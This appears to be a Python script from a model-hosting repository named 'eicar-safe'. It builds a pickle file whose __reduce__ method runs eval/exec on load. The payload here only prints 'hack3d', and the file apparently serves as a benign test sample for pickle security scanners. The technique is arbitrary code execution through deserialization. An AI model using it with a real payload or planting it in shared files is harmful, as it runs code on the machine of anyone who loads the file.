eicar-safe / build_pickles.py
abrar0503's picture
Uploaded files
729d4fe verified
raw
history blame contribute delete
318 Bytes
import pickle
class MaliciousInject:
def __init__(self, src: str):
self._src = src
def __reduce__(self):
return eval, (f"exec('''{self._src}''')",), None, None, None
content = MaliciousInject("print('hack3d')")
with open('danger.dat', 'wb') as f:
pickle.dump(content, f)